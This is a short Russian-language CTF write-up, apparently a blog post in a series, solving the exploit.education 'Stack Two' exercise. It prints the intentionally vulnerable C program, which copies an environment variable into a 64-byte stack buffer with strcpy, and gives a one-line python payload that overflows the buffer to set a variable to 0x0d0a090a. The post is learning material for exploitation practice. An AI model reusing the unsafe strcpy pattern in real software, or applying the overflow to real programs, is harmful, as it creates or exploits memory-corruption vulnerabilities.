Изучение PWN #3
МихаилПолезная информация по ИБ и разборы задачек CTF.
Предыдущая задача - Изучение PWN #2
После небольшого перерыва на Киберколизей Codeby возвращаемся к изучению пывна. Третья задача с exploit.education - Stack Two.
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
char *ptr;
printf("%s\n", BANNER);
ptr = getenv("ExploitEducation");
if (ptr == NULL) {
errx(1, "please set the ExploitEducation environment variable");
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
char *ptr;
Здесь у нас всё тоже самое, что и в прошлом заданини, но появляется новая функция getenv(). Поэтому пэйлоад необходимо поместить в переменную окружения ExploitEducation.
export ExploitEducation=`python3 -c "print('a' *64 + '\x0d\x0a\x09\x0a'[::-1])"`
./stack-two

Следующее задание - Изучение PWN #4